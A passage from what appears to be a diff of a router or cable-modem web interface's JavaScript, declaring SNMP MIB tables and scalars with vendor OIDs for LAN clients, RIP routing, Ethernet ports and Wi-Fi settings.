"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.23", 4); + +// scm end +var arLanClientIPAddrType=LanClientTable.LanClientIPAddrType; +var arLanClientIPAddr=LanClientTable.LanClientIPAddr; +var arLanClientHostName=LanClientTable.LanClientHostName; +var arLanClientMAC=LanClientTable.LanClientMAC; +var arLanClientMACMfg=LanClientTable.LanClientMACMfg; +var arLanClientAdapterType=LanClientTable.LanClientAdapterType; +var arLanClientType=LanClientTable.LanClientType; +var arLanClientLeaseStart=LanClientTable.LanClientLeaseStart; +var arLanClientLeaseEnd=LanClientTable.LanClientLeaseEnd; +var arLanClientStatus=LanClientTable.LanClientStatus; +var arLanClientInfLease=LanClientTable.LanClientInfLease; +var arLanClientLeaseState=LanClientTable.LanClientLeaseState; +var arLanClientRowStatus=LanClientTable.LanClientRowStatus; +var arLanClientOnline=LanClientTable.LanClientOnline; +var arLanClientComment=LanClientTable.LanClientComment; +var arLanClientCustom=LanClientTable.LanClientCustom; +// scm add +var arLanClientDeviceName = LanClientTable.LanClientDeviceName; +var arLanClientRSSI = LanClientTable.LanClientRSSI; +var arLanClientLinkLocalAddr = LanClientTable.LanClientLinkLocalAddr; + + + + +var DeviceUpDownTable = new Table("DeviceUpDownTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.3"); +DeviceUpDownTable.DeviceUpDownIndex = new Column("DeviceUpDownIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.1",2); +DeviceUpDownTable.DeviceUpDownMAC = new Column("DeviceUpDownMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.2",4, 1); +DeviceUpDownTable.DeviceUpDownIPType = new Column("DeviceUpDownIPType","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.3",2); +DeviceUpDownTable.DeviceUpDownIPAddr = new Column("DeviceUpDownIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.4",4, 1); +DeviceUpDownTable.DeviceUpDownStart = new Column("DeviceUpDownStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.5",4, 1); +DeviceUpDownTable.DeviceUpDownEnd = new Column("DeviceUpDownEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.6",4, 1); +DeviceUpDownTable.DeviceUpDownStatus = new Column("DeviceUpDownStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.7",2); +var arDeviceUpDownIndex=DeviceUpDownTable.DeviceUpDownIndex; +var arDeviceUpDownMAC=DeviceUpDownTable.DeviceUpDownMAC; +var arDeviceUpDownIPType=DeviceUpDownTable.DeviceUpDownIPType; +var arDeviceUpDownIPAddr=DeviceUpDownTable.DeviceUpDownIPAddr; +var arDeviceUpDownStart=DeviceUpDownTable.DeviceUpDownStart; +var arDeviceUpDownEnd=DeviceUpDownTable.DeviceUpDownEnd; +var arDeviceUpDownStatus=DeviceUpDownTable.DeviceUpDownStatus; + +var LanCustomTable = new Table("LanCustomTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.5"); +LanCustomTable.LanCustomIdx = new Column("LanCustomIdx","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.1",66); +LanCustomTable.LanCustomMAC = new Column("LanCustomMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.2",4, 1); +LanCustomTable.LanCustomIPAddrType = new Column("LanCustomIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.3",2); +LanCustomTable.LanCustomIPAddr = new Column("LanCustomIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.4",4, 1); +LanCustomTable.LanCustomFriendName = new Column("LanCustomFriendName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.5",4); +LanCustomTable.LanCustomHostName = new Column("LanCustomHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.6",4); +LanCustomTable.LanCustomMACMfg = new Column("LanCustomMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.7",4); +LanCustomTable.LanCustomComments = new Column("LanCustomComments","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.8",4); +LanCustomTable.LanCustomRowStatus = new Column("LanCustomRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.9",2); +var arLanCustomIdx=LanCustomTable.LanCustomIdx; +var arLanCustomMAC=LanCustomTable.LanCustomMAC; +var arLanCustomIPAddrType=LanCustomTable.LanCustomIPAddrType; +var arLanCustomIPAddr=LanCustomTable.LanCustomIPAddr; +var arLanCustomFriendName=LanCustomTable.LanCustomFriendName; +var arLanCustomHostName=LanCustomTable.LanCustomHostName; +var arLanCustomMACMfg=LanCustomTable.LanCustomMACMfg; +var arLanCustomComments=LanCustomTable.LanCustomComments; +var arLanCustomRowStatus=LanCustomTable.LanCustomRowStatus; + +var LanCurrentClientTable = new Table("LanCurrentClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.6"); +LanCurrentClientTable.LanCurrentClientIndex = new Column("LanCurrentClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.1",2); +LanCurrentClientTable.LanCurrentClientIPAddrType = new Column("LanCurrentClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.2",2); +LanCurrentClientTable.LanCurrentClientIPAddr = new Column("LanCurrentClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.3",4, 1); +LanCurrentClientTable.LanCurrentClientIPAddrTextual = new Column("LanCurrentClientIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.4",4); +LanCurrentClientTable.LanCurrentClientHostName = new Column("LanCurrentClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.5",4); +LanCurrentClientTable.LanCurrentClientMAC = new Column("LanCurrentClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.6",4, 1); +LanCurrentClientTable.LanCurrentClientMACMfg = new Column("LanCurrentClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.7",4); +LanCurrentClientTable.LanCurrentClientAdapterType = new Column("LanCurrentClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.8",2); +LanCurrentClientTable.LanCurrentClientType = new Column("LanCurrentClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.9",2); +LanCurrentClientTable.LanCurrentClientLeaseStart = new Column("LanCurrentClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.10",4, 1); +LanCurrentClientTable.LanCurrentClientLeaseEnd = new Column("LanCurrentClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.11",4, 1); +LanCurrentClientTable.LanCurrentClientStatus = new Column("LanCurrentClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.12",2); +LanCurrentClientTable.LanCurrentClientInfLease = new Column("LanCurrentClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.13",2); +LanCurrentClientTable.LanCurrentClientLeaseState = new Column("LanCurrentClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.14",2); +LanCurrentClientTable.LanCurrentClientFirstSeen = new Column("LanCurrentClientFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.15",4, 1); +LanCurrentClientTable.LanCurrentClientLastSeen = new Column("LanCurrentClientLastSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.16",4, 1); +LanCurrentClientTable.LanCurrentClientConnectionInfo = new Column("LanCurrentClientConnectionInfo","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.17",4); +LanCurrentClientTable.LanCurrentClientLeaseTime = new Column("LanCurrentClientLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.18",2); +var arLanCurrentClientIndex=LanCurrentClientTable.LanCurrentClientIndex; +var arLanCurrentClientIPAddrType=LanCurrentClientTable.LanCurrentClientIPAddrType; +var arLanCurrentClientIPAddr=LanCurrentClientTable.LanCurrentClientIPAddr; +var arLanCurrentClientIPAddrTextual=LanCurrentClientTable.LanCurrentClientIPAddrTextual; +var arLanCurrentClientHostName=LanCurrentClientTable.LanCurrentClientHostName; +var arLanCurrentClientMAC=LanCurrentClientTable.LanCurrentClientMAC; +var arLanCurrentClientMACMfg=LanCurrentClientTable.LanCurrentClientMACMfg; +var arLanCurrentClientAdapterType=LanCurrentClientTable.LanCurrentClientAdapterType; +var arLanCurrentClientType=LanCurrentClientTable.LanCurrentClientType; +var arLanCurrentClientLeaseStart=LanCurrentClientTable.LanCurrentClientLeaseStart; +var arLanCurrentClientLeaseEnd=LanCurrentClientTable.LanCurrentClientLeaseEnd; +var arLanCurrentClientStatus=LanCurrentClientTable.LanCurrentClientStatus; +var arLanCurrentClientInfLease=LanCurrentClientTable.LanCurrentClientInfLease; +var arLanCurrentClientLeaseState=LanCurrentClientTable.LanCurrentClientLeaseState; +var arLanCurrentClientFirstSeen=LanCurrentClientTable.LanCurrentClientFirstSeen; +var arLanCurrentClientLastSeen=LanCurrentClientTable.LanCurrentClientLastSeen; +var arLanCurrentClientConnectionInfo=LanCurrentClientTable.LanCurrentClientConnectionInfo; +var arLanCurrentClientLeaseTime=LanCurrentClientTable.LanCurrentClientLeaseTime; + +var LanStaticClientTable = new Table("LanStaticClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.7"); +LanStaticClientTable.LanStaticClientIndex = new Column("LanStaticClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.1",2); +LanStaticClientTable.LanStaticClientIPAddrType = new Column("LanStaticClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.2",2); +LanStaticClientTable.LanStaticClientIPAddr = new Column("LanStaticClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.3",4, 1); +LanStaticClientTable.LanStaticClientHostName = new Column("LanStaticClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.4",4); +LanStaticClientTable.LanStaticClientMAC = new Column("LanStaticClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.5",4, 1); +LanStaticClientTable.LanStaticClientRowStatus = new Column("LanStaticClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.6",2); +var arLanStaticClientIndex=LanStaticClientTable.LanStaticClientIndex; +var arLanStaticClientIPAddrType=LanStaticClientTable.LanStaticClientIPAddrType; +var arLanStaticClientIPAddr=LanStaticClientTable.LanStaticClientIPAddr; +var arLanStaticClientHostName=LanStaticClientTable.LanStaticClientHostName; +var arLanStaticClientMAC=LanStaticClientTable.LanStaticClientMAC; +var arLanStaticClientRowStatus=LanStaticClientTable.LanStaticClientRowStatus; + +var RIPObjects = new Container("RIPObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.5"); +RIPObjects.RIPEnable= new Scalar("RIPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.1",2); +RIPObjects.RIPAuthEnable= new Scalar("RIPAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.2",2); +RIPObjects.RIPReportTime= new Scalar("RIPReportTime","1.3.6.1.4.1.4115.1.20.1.1.2.5.3",66); +RIPObjects.RIPAuthKeyString= new Scalar("RIPAuthKeyString","1.3.6.1.4.1.4115.1.20.1.1.2.5.4",4); +RIPObjects.RIPAuthKeyID= new Scalar("RIPAuthKeyID","1.3.6.1.4.1.4115.1.20.1.1.2.5.5",2); +RIPObjects.RIPIPAddrType= new Scalar("RIPIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.5.6",2); +RIPObjects.RIPIPAddr= new Scalar("RIPIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.5.7",4, 1); +RIPObjects.RIPPrefixLen= new Scalar("RIPPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.2.5.8",66); +RIPObjects.RIPAuthKeyChain= new Scalar("RIPAuthKeyChain","1.3.6.1.4.1.4115.1.20.1.1.2.5.9",4); +RIPObjects.RIPRoutedSubnetIPType= new Scalar("RIPRoutedSubnetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.10",2); +RIPObjects.RIPRoutedSubnetIP= new Scalar("RIPRoutedSubnetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.11",4, 1); +RIPObjects.RIPRoutedSubnetGWNetIPType= new Scalar("RIPRoutedSubnetGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.12",2); +RIPObjects.RIPRoutedSubnetGWNetIP= new Scalar("RIPRoutedSubnetGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.13",4, 1); +RIPObjects.RIPRoutedSubnetMask= new Scalar("RIPRoutedSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.14",4, 1); +RIPObjects.RIPRoutedSubnetEnabled= new Scalar("RIPRoutedSubnetEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.15",2); +RIPObjects.RIPSendCMInterface= new Scalar("RIPSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.16",2); +RIPObjects.RIPRoutedSubnetDHCP= new Scalar("RIPRoutedSubnetDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.17",2); +RIPObjects.RIPRoutedSubnetNAT= new Scalar("RIPRoutedSubnetNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.18",2); +// scm { +RIPObjects.RIPInterface= new Scalar("RIPInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +RIPObjects.RIPSendVersion= new Scalar("RIPSendVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.20",4); +RIPObjects.RIPRecvVersion= new Scalar("RIPRecvVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.21",2); +RIPObjects.RIPDefaultMetric= new Scalar("RIPDefaultMetric","1.3.6.1.4.1.4115.1.20.1.1.2.5.22",2); + RIPObjects.RIPNeighbor= new Scalar("RIPNeighbor","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +// scm { +var arRIPEnable=RIPObjects.RIPEnable; +var arRIPAuthEnable=RIPObjects.RIPAuthEnable; +var arRIPReportTime=RIPObjects.RIPReportTime; +var arRIPAuthKeyString=RIPObjects.RIPAuthKeyString; +var arRIPAuthKeyID=RIPObjects.RIPAuthKeyID; +var arRIPIPAddrType=RIPObjects.RIPIPAddrType; +var arRIPIPAddr=RIPObjects.RIPIPAddr; +var arRIPPrefixLen=RIPObjects.RIPPrefixLen; +var arRIPAuthKeyChain=RIPObjects.RIPAuthKeyChain; +var arRIPRoutedSubnetIPType=RIPObjects.RIPRoutedSubnetIPType; +var arRIPRoutedSubnetIP=RIPObjects.RIPRoutedSubnetIP; +var arRIPRoutedSubnetGWNetIPType=RIPObjects.RIPRoutedSubnetGWNetIPType; +var arRIPRoutedSubnetGWNetIP=RIPObjects.RIPRoutedSubnetGWNetIP; +var arRIPRoutedSubnetMask=RIPObjects.RIPRoutedSubnetMask; +var arRIPRoutedSubnetEnabled=RIPObjects.RIPRoutedSubnetEnabled; +var arRIPSendCMInterface=RIPObjects.RIPSendCMInterface; +var arRIPRoutedSubnetDHCP=RIPObjects.RIPRoutedSubnetDHCP; +var arRIPRoutedSubnetNAT=RIPObjects.RIPRoutedSubnetNAT; + +var arRIPInterface=RIPObjects.RIPInterface; +var arRIPSendVersion=RIPObjects.RIPSendVersion; +var arRIPRecvVersion=RIPObjects.RIPRecvVersion; +var arRIPDefaultMetric=RIPObjects.RIPDefaultMetric; +var arRIPNeighbor=RIPObjects.RIPNeighbor; + + +var RIPRoutedSubnetTable = new Table("RIPRoutedSubnetTable", "1.3.6.1.4.1.4115.1.20.1.1.2.5.19"); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex = new Column("RIPRoutedSubnetTableIndex","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.1",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType = new Column("RIPRoutedSubnetTableIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.2",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIP = new Column("RIPRoutedSubnetTableIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.3",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType = new Column("RIPRoutedSubnetTableGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.4",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP = new Column("RIPRoutedSubnetTableGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.5",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableMask = new Column("RIPRoutedSubnetTableMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.6",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled = new Column("RIPRoutedSubnetTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.7",2); +RIPRoutedSubnetTable.RIPTableSendCMInterface = new Column("RIPTableSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.8",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP = new Column("RIPRoutedSubnetTableDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.9",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT = new Column("RIPRoutedSubnetTableNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.10",2); +var arRIPRoutedSubnetTableIndex=RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex; +var arRIPRoutedSubnetTableIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType; +var arRIPRoutedSubnetTableIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableIP; +var arRIPRoutedSubnetTableGWNetIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType; +var arRIPRoutedSubnetTableGWNetIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP; +var arRIPRoutedSubnetTableMask=RIPRoutedSubnetTable.RIPRoutedSubnetTableMask; +var arRIPRoutedSubnetTableEnabled=RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled; +var arRIPTableSendCMInterface=RIPRoutedSubnetTable.RIPTableSendCMInterface; +var arRIPRoutedSubnetTableDHCP=RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP; +var arRIPRoutedSubnetTableNAT=RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT; + +var LanEtherPortTable = new Table("LanEtherPortTable", "1.3.6.1.4.1.4115.1.20.1.1.2.8"); +LanEtherPortTable.LanEtherPortIdx = new Column("LanEtherPortIdx", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.1",66); +LanEtherPortTable.LanEtherPortIFIndex = new Column("LanEtherPortIFIndex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.2",2); +LanEtherPortTable.LanEtherPortEnabled = new Column("LanEtherPortEnabled", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.3",2); +LanEtherPortTable.LanEtherPortDuplex = new Column("LanEtherPortDuplex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.4",2); +LanEtherPortTable.LanEtherPortSpeed = new Column("LanEtherPortSpeed", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.5",2); +LanEtherPortTable.LanEtherPortAuto = new Column("LanEtherPortAuto", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.6",2); +LanEtherPortTable.LanEtherPortHasLink = new Column("LanEtherPortHasLink", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.7",2); +var arLanEtherPortIdx=LanEtherPortTable.LanEtherPortIdx; +var arLanEtherPortIFIndex=LanEtherPortTable.LanEtherPortIFIndex; +var arLanEtherPortEnabled=LanEtherPortTable.LanEtherPortEnabled; +var arLanEtherPortDuplex=LanEtherPortTable.LanEtherPortDuplex; +var arLanEtherPortSpeed=LanEtherPortTable.LanEtherPortSpeed; +var arLanEtherPortAuto=LanEtherPortTable.LanEtherPortAuto; +var arLanEtherPortHasLink=LanEtherPortTable.LanEtherPortHasLink; + +var RIPngObjects = new Container("RIPngObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.9"); +RIPngObjects.RIPngEnable= new Scalar("RIPngEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.1",2); +RIPngObjects.RIPngAddr= new Scalar("RIPngAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.2",4, 1); +RIPngObjects.RIPngSubnetEnable= new Scalar("RIPngSubnetEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.3",2); +RIPngObjects.RIPngRoutedSubnetAddr= new Scalar("RIPngRoutedSubnetAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.4",4, 1); +RIPngObjects.RIPngRoutedSubnetPrefixLength= new Scalar("RIPngRoutedSubnetPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.2.9.5",2); +RIPngObjects.RIPngSendCMInterface= new Scalar("RIPngSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.9.6",2); +var arRIPngEnable=RIPngObjects.RIPngEnable; +var arRIPngAddr=RIPngObjects.RIPngAddr; +var arRIPngSubnetEnable=RIPngObjects.RIPngSubnetEnable; +var arRIPngRoutedSubnetAddr=RIPngObjects.RIPngRoutedSubnetAddr; +var arRIPngRoutedSubnetPrefixLength=RIPngObjects.RIPngRoutedSubnetPrefixLength; +var arRIPngSendCMInterface=RIPngObjects.RIPngSendCMInterface; + +var WiFi50RadioSettings = new Container("WiFi50RadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50"); +WiFi50RadioSettings.WiFi50Channel= new Scalar("WiFi50Channel","1.3.6.1.4.1.4115.1.20.1.1.3.50.1",66); +WiFi50RadioSettings.WiFi50Mode= new Scalar("WiFi50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.50.2",2); +WiFi50RadioSettings.WiFi50EnableRadio= new Scalar("WiFi50EnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.50.10",2); +WiFi50RadioSettings.WiFi50OutputPower= new Scalar("WiFi50OutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.50.14",2); +WiFi50RadioSettings.WiFi50HTTxStream= new Scalar("WiFi50HTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.21",66); +WiFi50RadioSettings.WiFi50HTRxStream= new Scalar("WiFi50HTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.22",66); +WiFi50RadioSettings.WiFi50EnableSTBC= new Scalar("WiFi50EnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.50.23",2); +WiFi50RadioSettings.WiFi50EnableRDG= new Scalar("WiFi50EnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.50.24",2); +WiFi50RadioSettings.WiFi50IGMPSnooping= new Scalar("WiFi50IGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.50.25",2); +WiFi50RadioSettings.WiFi50WiFiBlockDFSChan= new Scalar("WiFi50WiFiBlockDFSChan","1.3.6.1.4.1.4115.1.20.1.1.3.50.26",2); +WiFi50RadioSettings.WiFi50PhysicalChannel= new Scalar("WiFi50PhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.50.16",2); /* kn-mib */ +var arWiFi50Channel=WiFi50RadioSettings.WiFi50Channel; +var arWiFi50Mode=WiFi50RadioSettings.WiFi50Mode; +var arWiFi50EnableRadio=WiFi50RadioSettings.WiFi50EnableRadio; +var arWiFi50OutputPower=WiFi50RadioSettings.WiFi50OutputPower; +var arWiFi50HTTxStream=WiFi50RadioSettings.WiFi50HTTxStream; +var arWiFi50HTRxStream=WiFi50RadioSettings.WiFi50HTRxStream; +var arWiFi50EnableSTBC=WiFi50RadioSettings.WiFi50EnableSTBC; +var arWiFi50EnableRDG=WiFi50RadioSettings.WiFi50EnableRDG; +var arWiFi50IGMPSnooping=WiFi50RadioSettings.WiFi50IGMPSnooping; +var arWiFi50BlockDFSChan=WiFi50RadioSettings.WiFi50WiFiBlockDFSChan; +var arWiFi50PhysicalChannel=WiFi50RadioSettings.WiFi50PhysicalChannel; /* kn-mib */ + +var WiFi50NSettings = new Container("WiFi50NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50.20"); +WiFi50NSettings.WiFi50HTMCS= new Scalar("WiFi50HTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.1",2); +WiFi50NSettings.WiFi50ChannelBW= new Scalar("WiFi50ChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.2",2); +WiFi50NSettings.WiFi50NSideBand= new Scalar("WiFi50NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.3",2); +WiFi50NSettings.WiFi50HTMode= new Scalar("WiFi50HTMode","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.4",2); +WiFi50NSettings.WiFi50GuardInterval= new Scalar("WiFi50GuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.5",2); +WiFi50NSettings.WiFi50AMSDUEnable= new Scalar("WiFi50AMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.6",2); +WiFi50NSettings.WiFi50DeclinePeerBA= new Scalar("WiFi50DeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.7",2); +WiFi50NSettings.WiFi50BlockAck= new Scalar("WiFi50BlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.8",2); +WiFi50NSettings.WiFi50NProtection= new Scalar("WiFi50NProtection","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.9",2); +WiFi50NSettings.WiFi50Allow40MHzOnlyOperation= new Scalar("WiFi50Allow40MHzOnlyOperation","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.10",2); +var arWiFi50HTMCS=WiFi50NSettings.WiFi50HTMCS; +var arWiFi50ChannelBW=WiFi50NSettings.WiFi50ChannelBW; +var arWiFi50NSideBand=WiFi50NSettings.WiFi50NSideBand; +var arWiFi50HTMode=WiFi50NSettings.WiFi50HTMode; +var arWiFi50GuardInterval=WiFi50NSettings.WiFi50GuardInterval; +var arWiFi50AMSDUEnable=WiFi50NSettings.WiFi50AMSDUEnable; +var arWiFi50DeclinePeerBA=WiFi50NSettings.WiFi50DeclinePeerBA; +var arWiFi50BlockAck=WiFi50NSettings.WiFi50BlockAck; +var arWiFi50NProtection=WiFi50NSettings.WiFi50NProtection; +var arWiFi50Allow40MHzOnlyOperation=WiFi50NSettings.WiFi50Allow40MHzOnlyOperation; + +var WirelessCfg = new Container("WirelessCfg", "1.3.6.1.4.1.4115.1.20.1.1.3"); +WirelessCfg.WiFiCountry= new Scalar("WiFiCountry","1.3.6.1.4.1.4115.1.20.1.1.3.1",4); +WirelessCfg.WiFiChannel= new Scalar("WiFiChannel","1.3.6.1.4.1.4115.1.20.1.1.3.2",66); +WirelessCfg.WiFiMode= new Scalar("WiFiMode","1.3.6.1.4.1.4115.1.20.1.1.3.3",2); +WirelessCfg.WiFiBGProtect= new Scalar("WiFiBGProtect","1.3.6.1.4.1.4115.1.20.1.1.3.4",2); +WirelessCfg.WiFiBeaconInterval= new Scalar("WiFiBeaconInterval","1.3.6.1.4.1.4115.1.20.1.1.3.5",66); +WirelessCfg.WiFiDTIMInterval= new Scalar("WiFiDTIMInterval","1.3.6.1.4.1.4115.1.20.1.1.3.6",66); +WirelessCfg.WiFiTxPreamble= new Scalar("WiFiTxPreamble","1.3.6.1.4.1.4115.1.20.1.1.3.7",2); +WirelessCfg.WiFiRTSThreshold= new Scalar("WiFiRTSThreshold","1.3.6.1.4.1.4115.1.20.1.1.3.8",66); +WirelessCfg.WiFiFragmentThresh= new Scalar("WiFiFragmentThresh","1.3.6.1.4.1.4115.1.20.1.1.3.9",66); +WirelessCfg.WiFiShortSlot= new Scalar("WiFiShortSlot","1.3.6.1.4.1.4115.1.20.1.1.3.10",2); +WirelessCfg.WiFiFrameBurst= new Scalar("WiFiFrameBurst","1.3.6.1.4.1.4115.1.20.1.1.3.11",2); +WirelessCfg.WiFiEnableRadio= new Scalar("WiFiEnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.12",2); +WirelessCfg.WiFiTxPower= new Scalar("WiFiTxPower","1.3.6.1.4.1.4115.1.20.1.1.3.13",2); +WirelessCfg.WiFiShortRetryLimit= new Scalar("WiFiShortRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.14",2); +WirelessCfg.WiFiLongRetryLimit= new Scalar("WiFiLongRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.15",2); +WirelessCfg.WiFiOutputPower= new Scalar("WiFiOutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.16",2); +WirelessCfg.WiFiMulticastA= new Scalar("WiFiMulticastA","1.3.6.1.4.1.4115.1.20.1.1.3.17",2); +WirelessCfg.WiFiMulticastBG= new Scalar("WiFiMulticastBG","1.3.6.1.4.1.4115.1.20.1.1.3.18",2); +WirelessCfg.WiFiBasicRateSet= new Scalar("WiFiBasicRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.19",2); +WirelessCfg.WiFiTxRate= new Scalar("WiFiTxRate","1.3.6.1.4.1.4115.1.20.1.1.3.20",2); +WirelessCfg.WiFiResetDefaults= new Scalar("WiFiResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.3.32",2); +WirelessCfg.WiFiEnableRadioNow= new Scalar("WiFiEnableRadioNow","1.3.6.1.4.1.4115.1.20.1.1.3.33",2); +WirelessCfg.WiFiCustomSSIDStr= new Scalar("WiFiCustomSSIDStr","1.3.6.1.4.1.4115.1.20.1.1.3.34",4); +WirelessCfg.WiFiReset= new Scalar("WiFiReset","1.3.6.1.4.1.4115.1.20.1.1.3.35",2); +WirelessCfg.WiFiUseSNForPSK= new 